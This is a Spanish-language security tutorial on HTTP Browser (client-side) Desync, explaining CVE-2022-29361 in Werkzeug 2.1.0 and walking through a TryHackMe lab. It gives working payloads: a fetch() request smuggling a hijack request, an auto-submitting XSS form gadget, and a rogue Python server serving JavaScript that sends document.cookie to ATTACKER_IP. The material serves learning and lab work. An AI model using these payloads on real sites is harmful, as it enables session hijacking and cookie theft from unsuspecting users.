Ataques y defensa

HTTP Browser Desync

#blueteam#injection#redteam#web

HTTP Browser Desync (o Client-Side Desync) es una variante de HTTP Request Smuggling en la que la desincronización se produce directamente en la conexión entre el navegador del usuario y el…

Definición

HTTP Browser Desync (o Client-Side Desync) es una variante de HTTP Request Smuggling en la que la desincronización se produce directamente en la conexión entre el navegador del usuario y el servidor, sin necesidad de un segundo servidor backend. A diferencia del smuggling clásico (que explota discrepancias entre front-end y back-end), esta técnica solo requiere que el servidor frontend interprete incorrectamente los límites del request, afectando la propia conexión del cliente con su navegador.

Un atacante puede desencadenar este ataque desde JavaScript en una página que la víctima visita, envenenando la conexión del navegador para sustituir el próximo request legítimo del usuario por uno malicioso.

Contexto

HTTP Keep-Alive y su rol

HTTP Keep-Alive permite reutilizar una única conexión TCP para múltiples peticiones HTTP. Esto reduce latencia y mejora el rendimiento, pero introduce un riesgo de seguridad: si la interpretación de los límites del request body es inconsistente, el servidor puede dejar datos del body de una petición “en cola”, que se prependerán a la próxima petición del usuario.

Si hay mecanismos de caché, esta persistencia de conexión puede contribuir a cache poisoning: el atacante podría almacenar contenido malicioso en la caché que después es servido a otros usuarios.

HTTP Pipelining

HTTP Pipelining (cuando está habilitado en el backend) permite enviar dos o más requests simultáneamente sobre la misma conexión sin esperar la respuesta entre ellos. Las respuestas llegan en el mismo orden que los requests. La única forma de distinguir los límites entre requests en el pipeline es el header Content-Length.

Para contenidos estáticos (imágenes, iconos), los servidores normalmente ignoran Content-Length. Esta inconsistencia es la base de algunas variantes del ataque.

Diferencia con el smuggling tradicional

Aspecto Smuggling tradicional Browser Desync
Componentes involucrados Front-end proxy + back-end server Solo servidor frontend
Víctima inicial Usuarios cuyas peticiones pasan por el backend El propio usuario (su navegador)
Vector de entrega Petición directa del atacante al servidor JavaScript ejecutado en el navegador de la víctima
Restricción SameSite/CORS No aplica directamente No aplica si el dominio es el mismo (el ataque se lanza desde el propio dominio)

Impacto

  • Control total sobre la próxima petición del usuario (robo de sesión, account takeover).
  • Encadenamiento con XSS para robo de cookies y credenciales.
  • Bypass de controles de seguridad basados en SameSite cookies.
  • Cache poisoning que afecta a múltiples usuarios.
  • Difícil de detectar porque el vector de ataque es el propio navegador de la víctima.

Desarrollo

Mecánica del ataque Browser Desync

El ataque ocurre en dos pasos:

  1. Envenenamiento de la cola: el atacante envía un POST con keep-alive que incluye un segundo request malicioso (“hijack request”) en el body. Si el servidor interpreta incorrectamente el Content-Length, procesa el primer request normalmente pero deja el hijack request en la cola de la conexión.
  2. Captura del siguiente request: cuando el usuario (o el mismo atacante usando el mismo browser/conexión) hace su próxima petición legítima, esta queda “fusionada” con el hijack request que está en cola. El servidor procesa el hijack request en lugar del legítimo.

Resultado: el servidor redirige al usuario al endpoint del hijack request (ej. /redirect), que puede ser una página de error 404, una URL controlada por el atacante, o cualquier otra acción.

CVE-2022-29361 — Werkzeug v2.1.0

Esta CVE afecta a Werkzeug v2.1.0 (biblioteca WSGI de Python, usada por Flask entre otros). El commit 4795b9a7 habilitó conexiones keep-alive cuando las opciones threaded o process están configuradas.

Aplicación vulnerable (Flask):

from flask import Flask
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def index():
return """CVE-2022-29361 Welcome to the Vulnerable Web Application"""
if __name__ == "__main__":
app.run("0.0.0.0", 5000)

La vulnerabilidad permite que el body de un POST quede en la cola de la conexión keep-alive, siendo interpretado como el inicio de la siguiente petición.

Explotación desde JavaScript (fetch)

El atacante puede desencadenar el ataque directamente desde el navegador usando la API fetch:

fetch('http://MACHINE_IP:5000/', {
method: 'POST',
body: 'GET /redirect HTTP/1.1\r\nFoo: x',
mode: 'cors',
})

Análisis del payload:

  • http://MACHINE_IP:5000/: URL del servidor vulnerable (el mismo dominio → sin restricciones SameSite/CORS para compartir cookies).
  • method: 'POST': POST para enviar body y mantener la conexión.
  • body: 'GET /redirect HTTP/1.1\r\nFoo: x': el hijack request embebido en el body del POST. Foo: x actúa como header incompleto para que el backend espere más datos y “absorba” el request de la víctima.
  • mode: 'cors': dispara un error cuando el navegador visita la página 404 (evita que el navegador siga el redirect automáticamente, permitiendo observar el resultado).

Observación del ataque: después de ejecutar el fetch, al refrescar la página, el navegador carga /redirect en lugar de /. Como /redirect no existe → 404. Esto confirma que el hijack request fue procesado, sustituyendo el request normal.

Browser Desync + XSS: Robo de cookies

Si no existe funcionalidad de upload arbitrario, se puede encadenar Browser Desync con XSS usando un servidor rogue del atacante.

Gadget HTML para entrega del ataque (inyectable en cualquier campo reflejado/vulnerable a XSS):

<form id="btn" action="http://challenge.thm/"
method="POST"
enctype="text/plain">
<textarea name="GET http://YOUR_IP HTTP/1.1
AAA: A">placeholder1</textarea>
<button type="submit">placeholder2</button>
</form>
<script> btn.submit() </script>

Por qué este gadget:

  • <form> usa keep-alive por defecto (necesario para el ataque).
  • enctype="text/plain" evita la codificación URL del body (queremos que el request malicioso llegue sin encoding).
  • El atributo name del textarea sobrescribe los bytes del siguiente request, redirigiendo al servidor del atacante.
  • El <script> envía el form automáticamente cuando la víctima visita la página.

Flujo completo:

  1. El gadget coloca a la víctima en el contexto de la conexión del servidor vulnerable.
  2. El siguiente request del navegador de la víctima queda fusionado con el hijack: hace un GET al servidor del atacante.
  3. El servidor del atacante responde con JavaScript malicioso que roba la cookie:
fetch('http://ATTACKER_IP/' + document.cookie);

Challenge completo (TryHackMe walkthrough)

Objetivo: robar la cookie de un usuario bot que visita /vulnerablecontact, donde el input se interpreta (XSS posible). El atacante puede enviar mensajes en /securecontact (no XSS, solo reflejo de texto).

  1. Añadir al /etc/hosts: MACHINE_IP challenge.thm.
  2. Confirmar vulnerabilidad: ejecutar en la consola del browser:
fetch('http://challenge.thm/', {
method: 'POST',
body: 'GET /redirect HTTP/1.1\r\nFoo: x',
mode: 'cors',
})
  1. Refrescar la página → 404 en /redirect → vulnerable confirmada.
  2. Identificar que /vulnerablecontact interpreta el HTML del campo de mensaje → XSS.
  3. Levantar servidor rogue en AttackBox (puerto 1337) que devuelve JS de robo de cookie:
from http.server import BaseHTTPRequestHandler, HTTPServer
class ExploitHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.send_response(200)
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(b"fetch('http://ATTACKER_IP:8080/' + document.cookie)")
HTTPServer(('', 1337), ExploitHandler).serve_forever()
  1. Levantar listener para recibir la cookie (puerto 8080):
Terminal window
sudo python3 -m http.server 8080
  1. Enviar el gadget XSS como mensaje en /securecontact (el bot visitará /vulnerablecontact donde se interpreta):
<form id="btn" action="http://challenge.thm/"
method="POST"
enctype="text/plain">
<textarea name="GET http://ATTACKER_IP:1337 HTTP/1.1
AAA: A">placeholder1</textarea>
<button type="submit">placeholder2</button>
</form>
<script> btn.submit() </script>
  1. El bot visita la página → el gadget lo redirige al servidor rogue → el servidor responde con el fetch de cookie → la cookie se envía al puerto 8080 del atacante → flag obtenida.

Pitfalls

  • CORS y SameSite no protegen en el mismo dominio: la restricción de que cookies SameSite no se envíen en cross-site requests no aplica cuando el ataque se lanza desde el propio dominio (el gadget HTML está en el mismo origen). El navegador enviará las cookies normalmente.
  • Keep-alive es necesario: si el servidor no usa keep-alive o el browser cierra la conexión entre requests, el hijack request en cola se descarta. Los forms HTML usan keep-alive por defecto (ventaja sobre fetch en ciertos casos).
  • enctype=“text/plain” es crítico: sin este atributo, el form encoding (URL encoding) modificaría el body del POST y el hijack request quedaría malformado. text/plain preserva los caracteres literales del body.
  • El bot/víctima debe hacer una petición después del envenenamiento: el ataque no tiene efecto instantáneo. El envenenamiento queda en cola y se activa cuando la víctima realiza cualquier petición HTTP al mismo servidor. El timing importa.
  • Solo funciona en servidores con keep-alive mal implementado: la vulnerabilidad requiere que el servidor permita keep-alive y no gestione correctamente los límites del body. Servidores modernos bien configurados no son vulnerables.
  • CVE-2022-29361 específico de Werkzeug v2.1.0: verificar la versión exacta antes de asumir vulnerabilidad. Versiones anteriores no tenían keep-alive habilitado por defecto.

Diagrama

sequenceDiagram
    participant A as Atacante (JS en browser)
    participant S as Servidor vulnerable<br/>(Werkzeug v2.1.0)
    participant V as Víctima (bot)
    participant R as Servidor Rogue (Atacante)

    Note over A,S: Paso 1: Envenenamiento de la cola

    A->>S: POST / keep-alive<br/>body: "GET http://ROGUE HTTP/1.1\nAAA: A"
    S->>S: Procesa POST correctamente
    S->>S: Body mal interpretado →<br/>"GET http://ROGUE HTTP/1.1\nAAA: A" queda en cola
    S-->>A: 200 OK (respuesta al POST)

    Note over V,S: Paso 2: Captura del siguiente request

    V->>S: GET /qualquier HTTP/1.1 (request normal del bot)
    S->>S: Hijack en cola: se prepende al request del bot
    Note over S: Servidor procesa GET http://ROGUE en lugar del request de la víctima
    S->>R: GET / HTTP/1.1 (con cookies del bot)
    R-->>S: JS malicioso: fetch('http://ATTACKER:8080/'+document.cookie)
    S-->>V: Respuesta con JS malicioso
    V->>A: GET /COOKIE_VALUE (cookie robada vía fetch)

Referencias

Ver también: HTTP Request Smuggling, HTTP2 Request Smuggling, WebSocket Request Smuggling, Cross-Site Scripting (XSS)